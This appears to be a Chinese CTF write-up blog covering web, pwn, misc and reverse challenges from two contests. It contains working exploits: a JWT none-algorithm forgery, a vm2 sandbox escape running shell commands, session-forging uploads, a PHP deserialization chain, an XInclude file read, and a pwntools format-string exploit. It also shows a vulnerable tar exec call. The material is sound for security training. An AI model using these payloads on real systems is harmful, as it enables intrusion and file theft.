2020数字中国创新大赛-虎符网络安全

WEB

easy_login

在static/js/app.js中发现

1
2
3
4
/**
*  或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

于是直接访问app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 80;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

然后rest.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
module.exports = {
APIError: function (code, message) {
this.code = code || 'internal:unknown_error';
this.message = message || '';
},
restify: () => {
const pathPrefix = '/api/';
return async (ctx, next) => {
if (ctx.request.path.startsWith(pathPrefix)) {
ctx.rest = data => {
ctx.response.type = 'application/json';
ctx.response.body = data;
};
try {
await next();
} catch (e) {
ctx.response.status = 400;
ctx.response.type = 'application/json';
ctx.response.body = {
code: e.code || 'internal_error',
message: e.message || ''
};
}
} else {
await next();
}
};
}
};

controller.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const fs = require('fs');

function addMapping(router, mapping) {
for (const url in mapping) {
if (url.startsWith('GET ')) {
const path = url.substring(4);
router.get(path, mapping[url]);
} else if (url.startsWith('POST ')) {
const path = url.substring(5);
router.post(path, mapping[url]);
} else {
console.log(`invalid URL: ${url}`);
}
}
}

function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}

module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};

fuzz controllers目录得到

api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

view.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
module.exports = {
'GET /': async (ctx, next) => {
ctx.status = 302;
ctx.redirect('/home');
},
'GET /login': async (ctx, next) => {
if(ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/home');
} else {
await ctx.render('login');
await next();
}
},
'GET /register': async (ctx, next) => {
if(ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/home');
} else {
await ctx.render('register');
await next();
}
},
'GET /home': async (ctx, next) => {
if(!ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/login');
} else {
await ctx.render('home', {
username: ctx.session.username,
});
await next();
}
}
};

阅读代码发现:

1
2
3
4
5
6
7

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
//验证之前

我们可以控制sid来选择任意的密钥

node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密

我们令sid=false,则可以通过

1
2
3
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

的验证,且global.secrets[sid]=undefined

最后的payload

1
2
3
4
5
6
7
8
9
import jwt
import json
a=json.loads('''{
"secretid": false,
"username":"admin",
"password": "admin",
"iat": 1587310401
}''')
print(jwt.encode(a, key="", algorithm='none'))

just_escape

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
数学运算
code: (2+6-7)/3

run online: /run.php?code=(2%2b6-7)/3;

Ouput: 0.3333333333333333

注意编码 =.=

时间戳
code: new Date();

run online: /run.php?code=new%20Date();

Ouput: Fri Nov 22 2019 15:39:22 GMT+0800 (China Standard Time)

真的是 PHP 嘛

刚开始还真的以为是php,再输入console的时候返回 [object Object] ,这题应该是nodejs

在网上找到类似的题目

在vm2的issue中找到 https://github.com/patriksimek/vm2/issues/225

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const axios = require('axios')
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
}+')()';
const content = Buffer.from(untrusted).toString('hex')
axios.get(
'view-source:c3fa4d495d384a6498ef0a99a4f83c59cc9d658bef174be6.changame.ichunqiu.com/run.php?code=var+a%3d`eva`;this[`${a}l`](new+Buffer(`' + content + '`,`hex`).toString());'
).then(p => {
console.log(p.data)
}).catch(p => {
console.log((p.response.data))
})

babyupload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

因为上传目录和sess文件所在目录相同,可以伪造sess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST / HTTP/1.1
Host: 1b4b996742cb4d2b92d4ee548dc2c06d4ce0b9aa209948d1.changame.ichunqiu.com
Content-Length: 395
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx5uJpSmC7ijBPrtm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=7d93710a783397f3be0ba7165a60faed;
Connection: close

------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="direction"

upload
------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="attr"


------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: text/plain

\x08usernames:5:"admin";
------WebKitFormBoundaryx5uJpSmC7ijBPrtm--

成功伪造admin身份

接下来就是要弄个success.txt了,虽然我们文件名会被加个后缀

但是我们可以通过创建success.txt文件夹来达到相同效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST / HTTP/1.1
Host: 1b4b996742cb4d2b92d4ee548dc2c06d4ce0b9aa209948d1.changame.ichunqiu.com
Content-Length: 406
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx5uJpSmC7ijBPrtm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=16f8014229c357-04d5c848290106-6701b35-240000-16f8014229d768; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1587227364; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1587344461; PHPSESSID=7d93710a783397f3be0ba7165a60faed; __jsluid_h=7a2212833688aca0c2569475f7bdeffd
Connection: close

------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="direction"

upload
------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="attr"

success.txt
------WebKitFormBoundaryx5uJpSmC7ijBPrtm
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: text/plain

usernames:5:"admin";
------WebKitFormBoundaryx5uJpSmC7ijBPrtm--

image13059

百越杯2019

byb

misc

签到

cGxlYXNlIHN1Ym1pdDogZmxhZ3toZWxsb19ieWJ9

base64decode

please submit: flag{hello_byb}

key

下载附件,用photoshop放大查看,有一条奇奇怪怪的钥匙

用hxd打开图片在图片末尾找到KEY:ISEEU!

提取钥匙中特殊颜色的RGB值与key循环异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2f3f24
222e13
7f6624
713645
7b7e27
723310
646721
76670c
703723
727816
7a6020
213345
7b3277
74375c
1
2
3
4
5
6
7
8
rgb=['2f','3f','24','22','2e','13','7f','66','24','71','36','45','7b','7e','27','72','33','10','64','67','21','76','67','0c','70','37','23','72','78','16','7a','60','20','21','33' ,'45','7b','32','77','74','37','5c']

key="ISEEU!"
j=0
for i in rgb:
print(chr(int(i,16)^ord(key[j])),end='')
j+=1
j%=6

flag{265a4cd2-b7f1-4d32-9df7-733edfd2a21b}

哈尔的移动城堡

下载附件得到ori.jpg和102%

用hxd打开后发现

image.png

这是一张png图片但是文件头错了

划到最后面发现PK

图片里面又藏在压缩包,搜索IEND找到png的最后一个数据块(别问我为啥不用foremost,谁用谁知道)

image.png

又是一个魔改的文件头(正常zip文件头 504B0304 ),手动分离得到zip

emmmm需要密码

用stegsolve发现分离出来的png里藏着二维码

猜测做了蒙版处理

打开ps一段猛如虎()(自闭)的操作后,手动拼接出了二维码

image.png

得到压缩包密码1tsEz_b14ndVV4t3rM4k

解压得到两张图片

用beyondcompare得到flag

image.png

flag{3399dcb7-9e15-422f-9bf9-9db30dab70ae}

wireless

下载得到readme和一个流量

readme

1
已知密码格式是6666xxxx

原本试着生成一个所有可打印字符的密码,但是这个也要500m+

所以先用纯数字密码试试

1
2
3
4
f=open("dict.txt","w")
for i in range(10**4):
f.write("6666%04d\n"%i)
f.close()

用kali的aircrack-ng 来破解通信内容

image.png

image.png

flag{0566668912-f059-448f}

幸亏没有直接爆所有可打印字符

web

babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
error_reporting(1);
class Read {
private $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'瑙f瀽寮€濮�'."<br>";
}

public function __toString()
{

$this->str['str']->source;
}

public function _show()
{

if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
print("step1");
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
return $func();
}
}

if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
?>

%100反序列化链构造

  1. Show::__wake是唯一可以入手的地方

  2. 在这个方法中只有$this->source可以构造pop链的连接点

阅读代码发现Show::__toString会被 if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source))调用

  1. Show::__toString: $this->str[‘str’]->source和Test::__get构成链接点
  2. Test::__get: $func = $this->params;return $func();Read::__invoke构成链接点
  3. 而Read()可以任意读取文件

payload生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
class Show
{
public $source;
public $str;
public function __construct($file="")
{

}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
}
}
class Read {
private $var="fllllllaaaaaag.php";

public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Test
{
public $params;
private $source="666";
public function __construct()
{
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}

$a=new Show();
$b=new Show();
$c=new Test;
//$s->str["str"] = $t;

//Read::__invoke
$c->params=new Read;

//Test::__get
$b->str['str']=$c;

//Show::__tostring
$a->source=$b;

print(urlencode(serialize($a)));
?>

最后一步就剩flag的文件名,从正则中抠出fllllllaaaaaag但是直接读取,网页500,是文件不存在的结果

一番尝试后flag的文件名fllllllaaaaaag.php

1
2
3
<?php
$flag = "flag{df210681-fb10-4c0f-ba25-1f678eb38f85}";
?>

babygame

文件树

1
2
3
4
5
6
7
index.html
tools.php?hash=
manage.php?showuer
register
login
msgid=1

index.html

<!-- if you need hash tools, location: tools.php -->

flag生成方式

flag{md5(name . md5(pass))}

网站存在两个cookie: __jsluid_h , PHPSESSID

约束攻击生效,但是无法拿到flag

二次注入测试逃逸引号

宽字节x=>正常回显

%00x=>\0

出现需要转义的地方没有假flag

a'#没有flag

a\'#出现flag,md5为flag{md5("a\\\'" . md5(pass))}

而直接b\'#是没有flag的,而且与#无关

判断用户时候存在再给一个flag链接

1
2
3
4
5
a\\\'#=>a\'#=>select * from xx where user='$user'?

a\'=>a',用户不存在

猜测

c\'#=>no flag

c'#=>c\'#出现flag(得删除cookie)

注入点就在这

什么代码导致这种结果

登陆时:$_SESSION[x]=query("select * from xx where user='".mysql_real_escape($_POST['user'])."' and pass='".mysql_real_escape($_POST['pass'])")."'"

query("select * from xx where user='$_SESSION[x]'")

1
2
3
4
5
user	php($_SESSION) mysql('$sql')
a' a' a'
a\' a\' a\'


存在过滤?

依据个数生成flag链接

后面想到为啥注入点不可以是msgid呢

约束攻击获得一个只带有\的账号

注册一个a+’ ‘*28+’”‘ 的账号

msgid处出现注入点

or 1%23成功

用sqlmap爆破得到admin的密码拿到tools.php解密得到: ChunQiuGame

image.png

正常的xxe没啥用,找到一叶飘零的一篇文章

https://www.anquanke.com/post/id/156227

payload:

1
2
3
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///flag" parse="text"/>
</root>

flag{5ea7d712-e461-4d29-9246-4ea6266775a8}

………………..气死了就差一点拿到flag

pwn

easy_printf

pwnable.tw原题魔改,bss没有stdin,stdout,stderr了,但是一开始有个询问姓名,不知道有什么用,后来试了各种方法,想到了把stdoutfileno改为2,就可以绕过close(1)
而且刚好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 ► 0x40089f <func1+57>    mov    eax, 0
0x4008a4 <func1+62> call func2 <0x4007fa>

0x4008a9 <func1+67> mov eax, 0
0x4008ae <func1+72> mov rcx, qword ptr [rbp - 8]
0x4008b2 <func1+76> xor rcx, qword ptr fs:[0x28]
0x4008bb <func1+85> je func1+92 <0x4008c2>

0x4008bd <func1+87> call 0x400648

0x4008c2 <func1+92> leave
0x4008c3 <func1+93> ret

0x4008c4 <main> push rbp
0x4008c5 <main+1> mov rbp, rsp
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsi rsp 0x7fffc9a192f0 ◂— 0x4141414141414141 ('AAAAAAAA')
01:0008│ 0x7fffc9a192f8 —▸ 0x7fe173507690 (_IO_file_underflow+496) ◂— 0xe8df8948fffffeff
02:0010│ 0x7fffc9a19300 —▸ 0x7fe173852540 (_IO_2_1_stderr_) ◂— 0xfbad2087

名字下面残留有stderr,所以读取名字时,partial overwrite改为_IO_2_1_stdout_->_fileno,然后把_fileno改为2即可,后面的和pwnable.tw没什么区别,有了泄露,也有了无限格式化字符串攻击,随便怎么玩

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

def fmtstr(offset, addr, data, written):
cnt = 0
payload = ''
address = ''
for x in data:
cur = ord(x)
if cur >= written&0xff:
to_add = cur - (written&0xff)
else:
to_add = 0x100 + cur - (written&0xff)
round = ''
if to_add != 0:
round += "%{}c".format(to_add)
round += "%{}$hhn".format(offset+cnt+len(data)*2)
assert(len(round) <= 0x10)
written += to_add + 0x10 - len(round)
payload += round.ljust(0x10, '_')
address += p64(addr+cnt)
cnt+=1
return payload + address


def main(host,port=12001):
if host:
p = remote(host,port)
else:
# p = process("./easy_printf",env={"LD_PRELOAD":"./libc.so"})
p = process("./easy_printf")
gdb.attach(p,"b *0x000000000400846")
p.recvuntil("write down your name")
# t = raw_input('guess: ')
t = 0x7
stdout_fileno = (int(t) << 12) | 0x690
p.send("A"*0x10+p16(stdout_fileno))
pause()

buf_addr = 0x601060
payload = "%{}c%28$hhn%{}c%58$hn".format(2,0x2a6).ljust(0x18,'_')
payload += fmtstr(9,buf_addr,p64(0x000000000400814)[:3],0x2ab)
p.send(payload)
pause()


payload = "%{}c%23$hhn%35$p-%36$p^%37$p-%38$p-%39$p*%40$p-".format(0x14)
p.send(payload)
pause()
p.recvuntil("^")
stack = int(p.recvuntil('-',drop=True),16)
p.recvuntil("*")
libc.address = int(p.recvuntil('-',drop=True),16)-0x20837
info("stack : " + hex(stack))
info("libc : " + hex(libc.address))
onegadget = 0xf1147+libc.address

ret_addr = stack - 0x1e8
payload = "%{}c%23$hhn".format(0x14).ljust(0x10,'_')
payload += fmtstr(15,ret_addr,p64(onegadget)[:2],0x19)
p.send(payload)
pause()
# :0000000000400865 retn
offset = 13
payload = "%{}c%16$hhn%{}c%17$hn".format(ord(p64(onegadget)[2:3]),0x865-ord(p64(onegadget)[2:3])).ljust(0x18,'_')
payload += p64(ret_addr+2)+p64(ret_addr-8)
payload = payload.ljust(0x80,"\x00")
p.send(payload)
p.interactive()
if __name__ == "__main__":
libc = ELF("./libc.so",checksec=False)
main(args['REMOTE'])

reverse

bwarm

首先,还是查壳,没啥说的 vmp2.0.7

根据vmp系列脱壳教程,这个壳是1.8以上的方案进行脱壳。先拖入OD,下一个API断点 VirtualProtect (教程建议是下硬件断点,可能是我的OD有问题,硬件断点断不下来,只能是F2断点了 T_T)

然后F9开始跑,测试到第5次跑飞……

那么就在第四次的时开始候单步跟踪,先跳出VirtualProtect 函数 ,然后对代码段设置,内存访问断点

然后F9继续运行,断下来后,在ESP的地方跟踪内存数据,找到SEH结构化异常的上面35C地址那块,下一个硬件写入断点,并取消之前的内存访问断点

然后继续F9运行,再次断下来,这次再在代码断下内存访问断点,然后多次F9运行,注意观察栈帧的变化,快到SEH的地方就接近OEP了,此时已经跟踪到解压后的代码段,然后进行一下代码分析。

完成分析后,代码就还原了,然后单步跟踪,发现OEP

发现OEP后,同时我们也注意到栈帧部分被压入了3条数据,这个就是VMP偷取的代码,我们需要进行还原,于是在当前位置查找一段 0000000000的内存段

然后,对VMP偷取的代码进行patch。最后跳转到OEP 也就是 jmp 012319C9

接着我们把当前的 01231FB5 设置为新的EIP,就可以进行dump内存操作了,填好起始地址和入口地址后,点击脱壳

把脱壳的文件保存为 dump.exe 然后尝试运行,发现不能运行,直接崩溃掉了

于是猜到可能是重定向表的问题造成,用PE编辑器修改一下这里,然后保存。

再次运行,OK !!

然后可以载入OD进行动态分析了。

为了方便调试,我们知道程序运行后,会提示输入字符串,那么我们先找到输入字符串的地方。

然后开始单步跟踪到这里,就是完成字符串输入后

继续跟踪,我们发现一个base64的字符串:dQkLdqXP=mLMAa8p=lnncQcq/GEPdGKXcNDl=Mnr=pcoBGPQdG1NA3Aw

那么另外一个字符串就是base64的字典了,也就是:0123456789+/=ABCDEFGHIabcdefghiJKLMNOPQRSTUVWXYZjklmnopqrstuvwxyz

于是,我们就可以根据这个对base64zi’f字符串进行解密:

坑了,竟然是乱码,还以为就这样搞定了呢,后来请教了一下大神,他说是字典有问题,于是我仔细的看了一下,确实

字典里面按说是不应该有‘=’ 这个字符的,按base64的说法这个是占位用的来补足字节数。所以按照大神的指点,我把大神的脚本用C++重新写了一遍(也是为了更好的理解反向分析的过程),终了跑出来了 T_T

最后,就是见证奇迹的时刻到了 * ^_^ *

flag{e38b5b63-4bf7-4ee8-b422-83f599fe0c43}

Md5Jungle

首先查壳,丢到exeinfope里面一看,发现是asp的壳。

于是用手头的asp脱壳工具尝试脱壳,发现都不行,不是不支持就是报错!没办法,只能老实手工脱壳了。

根据ESP定律+IAT修复+重定向表修复后,脱壳的程序可以正常运行。

用OD载入后,开始单步跟踪

到用户输入界面,我随便输入了个字符串:111111111(9个1)单步跟入到下图,发现了flag字样

这个应该是flag的头,于是继续跟进,发现确实在核对输入数据与flag{比较,这块就过不去了

于是果断的从来,输入数据为 flag{111111111,来到了下图的地方,在0x16的位置比较0x7D 也就是’}’符号

由于C语言的字符串下标是从0开始的,也就是字符串第23个字符处必须是}

于是构造字符串:flag{11111111111111111} 继续跟进,接下来是在0x7、0xc、0x11处核对字符 ‘-‘ (即:0x2D)

于是字符串就变成了flag{11-1111-1111-1111},继续跟进,发现了一个字符串:01E3421C=dump_SCY.01E3421C (ASCII “c7218260ef2b966ab0454e07c55cf4e9”)
感觉像是MD5的字符串,于是用python解了一下,得到: oh,结之前的flag应该就是flag{oh-1111-1111-1111}

再次输入后,继续跟进发现过去了,开始进行第二段的比较得到了下图的错误:

于是反复跟比较算法也没有找到任何有效的数据,结合本题的提示是md5段字节爆破,估计是这块需要进行爆破处理了。

于是继续python大法,得到字符串:flag{oh-aa30-1111-1111}

继续输入后,单步跟进,此时发现一个字符串:堆栈地址=001DFC30, (ASCII “YTkxYQ==”) eax=786B5459
看起来像B64编码,于是尝试解码,得到第三组的flag值:a91a 。

想起之前用od也看过字符串,于是找到第四组的字符串:NGZicA== ,解码为:4fbp

那么最终的flag就是:flag{oh-aa30-a91a-4fbp}

shy

首先查壳,丢到ExeinfoPE里面看一下,确定是upx壳

于是丢到OD里面进行脱壳处理,由于是压缩壳,跟踪起来比较麻烦,我选择了个偷懒的办法,下一个api访问断点

即:VirtualProtect ,运行3次F9后就跑飞了,于是在2次运行后,单步跟踪,到OEP

使用OD自带的插件进行脱壳,注意基址和OEP的关系,计算好后填入

然后点击脱壳,双击发现不能运行。

这个问题估计是重定向造成,于是修复一下重定向表的数据。

保存后,再次运行可以正常跑起来了

再次用OD载入,发现入口地址不是OEP

按说是已经解密完成了,于是我定位到OEP (0x1072940)一看究竟。

确实已经解密,那么为了方便调试,我直接用OD改一下入口代码就可以实现了。

然后把修改完毕的程序,重新保存到文件,由于有重定位会有下图的提示,点击 是 ,然后右键保存一份dump0.exe

继续,OD载入dump0.exe 发现修改成功,可以直接跳转到OEP行,然后单步跟踪,到输入后,发现后面的代码是个加密处理的代码,于是丢到IDA里面看一下这块对应的反编译代码。

buf 就是用户输入的字符串,if ( (&v4 + j) != v79[j] ) 这个就是关键的比较,那么V79[]就应该是异或后的结果,也就是ben本题的密钥,于是在OD中定位值:6ljh,!;:+&p%ia=Sc4#pt*%

接下来就简单了,直接把这个密钥输入,然后再次定位到这块就能得到flag了

最终得到flag:flag{cb7670ab-c597-4b17} 输入到shy.exe 验证一下 : )

百越杯总结

百越杯总结

include,require

如果文件被包含两次,PHP 5 发出致命错误因为函数已经被定义,但是 PHP 4 不会对在 return 之后定义的函数报错。推荐使用 include_once 而不是检查文件是否已包含并在包含文件中有条件返回。

include_once,require_once

include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。

require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

如果所包含文件不存在,include_once不会退出,而require_once会直接退出

比赛失误原因

log没挂好

没有找到有效的攻击流量

grep这个命令不够熟悉,

system

我的过滤条件变迁:

"flag" => "/flag",到这里后我就没有继续过滤,”/flag”其实还是有很多干扰信息的,我就差一步

grep "/flag " */*

image.png

grep "/flag " */* -C300 | grep "end pageheader" -C 10

image.png

没找到的洞

image.png

php的web主要也就这两的洞

grayscale

include $_GET['img'];配合有后门的图片m.jpg

image.png

开始我直接搜索<?<% 没搜索到就以为是误报,??也能执行?????

image.png

用strings查看////,编码问题导致??,以后用ascii码来查看

ssystem

虽然找到了exec那个洞

但是在index.php中:

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['page'])){
$page = $_GET['page'];

}else{
$page = 'chart.php';
}
?>
<?php
include_once "$page";
?>

可以配合文件上传拿到shell或者是直接include /flag也能拿到flag

洞没修好

SSystem

1
2
3
4
5
6
7
8
<?php
if (isset($_POST['name'])){
$name = $_POST['name'];
exec("tar -cf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">
导出成功,<a href='backup/$name'>点击下载</a></div>";
}
?>

原本以为$name再参数位置,用escapeshellarg就可以了

但是!!!!!!!虽然escapeshellarg会把$name放在引号里面

1
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。 

php手册里解释是单引号,实际却是tar -cf backup/"123" images/*.jpg

?????这是在我本机php5.6的环境下,php7环境也是双引号???

然后在自己的服务器上之前是双引号后面是单引号????

由于不知道靶场上会怎样,我也不确定我用escapeshellarg是不是修好了,然后这题就修补失败了

比较好的修复方案(在实现原功能的情况下去掉命令执行):

